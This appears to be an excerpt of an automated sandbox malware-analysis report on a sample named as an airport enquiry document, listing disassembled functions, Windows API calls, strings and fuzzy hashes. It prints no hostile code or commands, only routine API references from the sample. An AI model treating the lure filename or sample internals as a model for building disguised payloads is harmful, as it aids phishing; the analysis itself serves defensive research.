GetWindowRect.USER32(00000000,?), ref: 00CDC7D3
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00CDC827
GetDlgItem.USER32(?,000003E9), ref: 00CDC835
GetWindowRect.USER32(00000000,?), ref: 00CDC846
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00CDC889
GetDlgItem.USER32(?,000003EA), ref: 00CDC897
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00CDC8B4
InvalidateRect.USER32(?,00000000,00000001), ref: 00CDC8C1

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 632cbfce981ad8ad7651e0972ad3a4017c0d9dc0fdab1147730069e77aee4c4f
Instruction ID: f84ce5f40721752c3e378609d716d03534e469dda14017423d61a0f08fa9d167
Opcode Fuzzy Hash: 632cbfce981ad8ad7651e0972ad3a4017c0d9dc0fdab1147730069e77aee4c4f
Instruction Fuzzy Hash: 58512171B00205ABDB18CF69DD85BAEBBBAEB88310F24812DF619D7390D7709E00CB50

Function 00C8201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00C81B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00C82036,?,00000000,?,?,?,?,00C816CB,00000000,?), ref: 00C81B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00C820D3
KillTimer.USER32(-00000001,?,?,?,?,00C816CB,00000000,?,?,00C81AE2,?,?), ref: 00C8216E
DestroyAcceleratorTable.USER32(00000000), ref: 00CBBEF6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00C816CB,00000000,?,?,00C81AE2,?,?), ref: 00CBBF27
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00C816CB,00000000,?,?,00C81AE2,?,?), ref: 00CBBF3E
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00C816CB,00000000,?,?,00C81AE2,?,?), ref: 00CBBF5A
DeleteObject.GDI32(00000000), ref: 00CBBF6C

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 86e7416038bce96a956dbc994b1bc486a7fce38b81376a04c69c5aeb534d034c
Instruction ID: d9fccf48fa1c0b60be6b913a2017e4f8a916d642deeb0d63f6e639b6e88630cc
Opcode Fuzzy Hash: 86e7416038bce96a956dbc994b1bc486a7fce38b81376a04c69c5aeb534d034c
Instruction Fuzzy Hash: A6618738100710DFDB35AF55DD4CB6AB7F1FB4231AF208429E4528AAA0C771AD81DFA6

Function 00C821A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00C825DB: GetWindowLongW.USER32(?,000000EB), ref: 00C825EC

GetSysColor.USER32(0000000F), ref: 00C821D3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 5daf0324aea8d8b55543e7fc91e05e9761a83d0774cd65fcc94d89385c944896
Instruction ID: add69ddb5ef1ff2d7572363d545e9a50f4a3f67eb75804a8c5a40a3a1c0f3587
Opcode Fuzzy Hash: 5daf0324aea8d8b55543e7fc91e05e9761a83d0774cd65fcc94d89385c944896
Instruction Fuzzy Hash: 91418F31100240ABDB256F28EC8CBB93B65EB46335F244265FD758A2E6C7318D42DB65

Function 00CEAB12 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00D0F910), ref: 00CEAB76
GetDriveTypeW.KERNEL32(00000061,00D3A620,00000061), ref: 00CEAC40
_wcscpy.LIBCMT ref: 00CEAC6A

Strings

ramdisk, xrefs: 00CEABEA
all, xrefs: 00CEAB7C
unknown, xrefs: 00CEAC01
cdrom, xrefs: 00CEAB92
network, xrefs: 00CEABD4
fixed, xrefs: 00CEABBE
removable, xrefs: 00CEABA8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 067d64cbd89eef9cfef866056b28f1b72a9bb628e01ea3fe25192b046bb6cc4c
Instruction ID: a5822fb9dd8e5109055dd8180d2d35f3db03d7aff93dbedbb5eed86a7dbdf60e
Opcode Fuzzy Hash: 067d64cbd89eef9cfef866056b28f1b72a9bb628e01ea3fe25192b046bb6cc4c
Instruction Fuzzy Hash: F35191311083419FC714EF15C882AAEB7A5EF85708F64482DF496972A2DB31EE49DB53

Function 00C89997 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00C899C2
__swprintf.LIBCMT ref: 00C89A0C
__i64tow.LIBCMT ref: 00CBFA0F

Strings

0x%p, xrefs: 00CBF9F1
%.15g, xrefs: 00C89A06
False, xrefs: 00CBF9D7
True, xrefs: 00CBF9D0

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 8fd3e9172cb36414e5909583c541fd8f1bef8388332cb3a8149768ac3cc8717d
Instruction ID: 7863b7e2fa11f9b8650672b2955f908b5acf0e12e591043bed0282d5727e499b
Opcode Fuzzy Hash: 8fd3e9172cb36414e5909583c541fd8f1bef8388332cb3a8149768ac3cc8717d
Instruction Fuzzy Hash: 32412531A04205AFDB24EF79DC42EBAB3E8EB45318F24446EF55DD7281EA719902DB11

Function 00D073C1 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D073D9
CreateMenu.USER32 ref: 00D073F4
SetMenu.USER32(?,00000000), ref: 00D07403
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D07490
IsMenu.USER32(?), ref: 00D074A6
CreatePopupMenu.USER32 ref: 00D074B0
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00D074DD
DrawMenuBar.USER32 ref: 00D074E5

Strings

F, xrefs: 00D074D1
0, xrefs: 00D073CF

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: f0fe355cd0573f77632fc65325305535a88c1cf16e79a713335a393fc8b0d7b8
Instruction ID: 9c22bca13f4122e2f52c202d0df99e3f0ff29ce10f6a063990974fef5e94a100
Opcode Fuzzy Hash: f0fe355cd0573f77632fc65325305535a88c1cf16e79a713335a393fc8b0d7b8
Instruction Fuzzy Hash: 59410879A05305EFDB20DF65D888B9ABBB5FF49310F144029F9599B3A0D731E920DB60

Function 00D0772A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00D077CD
CreateCompatibleDC.GDI32(00000000), ref: 00D077D4
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00D077E7
SelectObject.GDI32(00000000,00000000), ref: 00D077EF
GetPixel.GDI32(00000000,00000000,00000000), ref: 00D077FA
DeleteDC.GDI32(00000000), ref: 00D07803
GetWindowLongW.USER32(?,000000EC), ref: 00D0780D
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00D07821
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00D0782D

Strings

static, xrefs: 00D07765

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 25002eaa57ac198876a762ad9db08b9c93b28b8be70948051a64fac42447fb66
Instruction ID: 07a59df0ad29bd47dc16827a523e9208234e167eb2f176002eff8783af0a832f
Opcode Fuzzy Hash: 25002eaa57ac198876a762ad9db08b9c93b28b8be70948051a64fac42447fb66
Instruction Fuzzy Hash: B9318C31504215ABDF229F64DC08FDA3B69FF49360F244225FA19E62E0C731E821DBB4

Function 00CA7040 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CA707B

Part of subcall function 00CA8D68: __getptd_noexit.LIBCMT ref: 00CA8D68

__gmtime64_s.LIBCMT ref: 00CA7114
__gmtime64_s.LIBCMT ref: 00CA714A
__gmtime64_s.LIBCMT ref: 00CA7167
__allrem.LIBCMT ref: 00CA71BD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CA71D9
__allrem.LIBCMT ref: 00CA71F0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CA720E
__allrem.LIBCMT ref: 00CA7225
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CA7243
__invoke_watson.LIBCMT ref: 00CA72B4

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction ID: f55233fe1e4b026666f7e2134121a4681693b0adca9c92feef5b9cec31419416
Opcode Fuzzy Hash: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction Fuzzy Hash: 3171C772A04717ABD7149E79CC41BAAB7A8FF16328F14433AF524E7681E770EE409790

Function 00CE2A16 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE2A31
GetMenuItemInfoW.USER32(00D46890,000000FF,00000000,00000030), ref: 00CE2A92
SetMenuItemInfoW.USER32(00D46890,00000004,00000000,00000030), ref: 00CE2AC8
Sleep.KERNEL32(000001F4), ref: 00CE2ADA
GetMenuItemCount.USER32(?), ref: 00CE2B1E
GetMenuItemID.USER32(?,00000000), ref: 00CE2B3A
GetMenuItemID.USER32(?,-00000001), ref: 00CE2B64
GetMenuItemID.USER32(?,?), ref: 00CE2BA9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00CE2BEF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00CE2C03
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00CE2C24

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 8fb715596b0f0b62256b1af78c595b65aa99f658d82c1d789a382c8384732fdf
Instruction ID: 5039f1eb1b30b4167ce483fae196a07f82f4ae0c3327866bd14c59cd023f4e9e
Opcode Fuzzy Hash: 8fb715596b0f0b62256b1af78c595b65aa99f658d82c1d789a382c8384732fdf
Instruction Fuzzy Hash: 156170B0900389AFEB21CF66CC88FAE7BBDFB41304F240569E85297251D771AE45DB21

Function 00D07192 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00D07214
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00D07217
GetWindowLongW.USER32(?,000000F0), ref: 00D0723B
_memset.LIBCMT ref: 00D0724C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00D0725E
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00D072D6

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 6e184705c4d5ec5c1e68ef9b892bfa47bfbd505cba3cb57741ffea2d3878d439
Instruction ID: aa66f2203c01d5e9692b85cf1ead26e1eb973b8146e6442a33f198806e17997a
Opcode Fuzzy Hash: 6e184705c4d5ec5c1e68ef9b892bfa47bfbd505cba3cb57741ffea2d3878d439
Instruction Fuzzy Hash: BB612775A04308AFDB20DFA4CC81EEE77B8EB0A714F144159FA19EB2E1D770A945DB60

Function 00CD710E Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00CD7135
SafeArrayAllocData.OLEAUT32(?), ref: 00CD718E
VariantInit.OLEAUT32(?), ref: 00CD71A0
SafeArrayAccessData.OLEAUT32(?,?), ref: 00CD71C0
VariantCopy.OLEAUT32(?,?), ref: 00CD7213
SafeArrayUnaccessData.OLEAUT32(?), ref: 00CD7227
VariantClear.OLEAUT32(?), ref: 00CD723C
SafeArrayDestroyData.OLEAUT32(?), ref: 00CD7249
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00CD7252
VariantClear.OLEAUT32(?), ref: 00CD7264
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00CD726F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 538a783e05fcd4fe566f0462861fad7a3639325db963426cf066b31bbdec39fd
Instruction ID: caa18b6b60aaef5a6d7f5b0077c32ba14ca3fc1bc794bfdad158253031dc2968
Opcode Fuzzy Hash: 538a783e05fcd4fe566f0462861fad7a3639325db963426cf066b31bbdec39fd
Instruction Fuzzy Hash: 2C414335900219DFCB10EFA4D884AAEBBB8FF08354F10816AF955D7761DB34E945CBA0

Function 00CF5A45 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00CF5AA6
inet_addr.WSOCK32(?,?,?), ref: 00CF5AEB
gethostbyname.WSOCK32(?), ref: 00CF5AF7
IcmpCreateFile.IPHLPAPI ref: 00CF5B05
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00CF5B75
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00CF5B8B
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00CF5C00
WSACleanup.WSOCK32 ref: 00CF5C06

Strings

Ping, xrefs: 00CF5B29

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 60eab2809c273ffbc5463b926f6cbb0f20efb1c595c4ddc23b9d41d374a67f49
Instruction ID: 801832de487b6b7e8520502175d9823bced698fe17ab5599c2c8b812d8903baf
Opcode Fuzzy Hash: 60eab2809c273ffbc5463b926f6cbb0f20efb1c595c4ddc23b9d41d374a67f49
Instruction Fuzzy Hash: 80518F316047009FD760AF25CC89B3AB7E4EF48710F14892AF76ADB2A1DB70E900DB56

Function 00CEB72E Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CEB73B
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00CEB7B1
GetLastError.KERNEL32 ref: 00CEB7BB
SetErrorMode.KERNEL32(00000000,READY), ref: 00CEB828

Strings

NOTREADY, xrefs: 00CEB7E7
INVALID, xrefs: 00CEB7FA
UNKNOWN, xrefs: 00CEB7E0
READY, xrefs: 00CEB801
READONLY, xrefs: 00CEB7F3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 480b93f2bfb130b3ad76bda1107841cd07867c267056064209cd227c5c2751f2
Instruction ID: 785018cb0af77d8e55e9c103358d15c582b9729de0cac0e0512e885297fafb56
Opcode Fuzzy Hash: 480b93f2bfb130b3ad76bda1107841cd07867c267056064209cd227c5c2751f2
Instruction Fuzzy Hash: 5131E135A002089FDB10EF6AC885ABF7BB8EF48700F144029F516D7291DB71AE42DBA1

Function 00CD9471 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Part of subcall function 00CDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB0E7

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00CD94F6
GetDlgCtrlID.USER32 ref: 00CD9501
GetParent.USER32 ref: 00CD951D
SendMessageW.USER32(00000000,?,00000111,?), ref: 00CD9520
GetDlgCtrlID.USER32(?), ref: 00CD9529
GetParent.USER32(?), ref: 00CD9545
SendMessageW.USER32(00000000,?,?,00000111), ref: 00CD9548

Strings

ComboBox, xrefs: 00CD947E
ListBox, xrefs: 00CD94B3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: cbd35954a42cf9db0bc0ec87076dd739f81c90f1e82c80a350c3712990e9f281
Instruction ID: d449af66f906090149e9320f0e11d0c36eccf8b9f4f6934f2b7c1a502c88ce20
Opcode Fuzzy Hash: cbd35954a42cf9db0bc0ec87076dd739f81c90f1e82c80a350c3712990e9f281
Instruction Fuzzy Hash: 6921C474900204BBCF05AFA5CC85EFEBB74EF45310F604226B661973E2DB759919EB20

Function 00CD955C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Part of subcall function 00CDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB0E7

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00CD95DF
GetDlgCtrlID.USER32 ref: 00CD95EA
GetParent.USER32 ref: 00CD9606
SendMessageW.USER32(00000000,?,00000111,?), ref: 00CD9609
GetDlgCtrlID.USER32(?), ref: 00CD9612
GetParent.USER32(?), ref: 00CD962E
SendMessageW.USER32(00000000,?,?,00000111), ref: 00CD9631

Strings

ComboBox, xrefs: 00CD9569
ListBox, xrefs: 00CD959E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

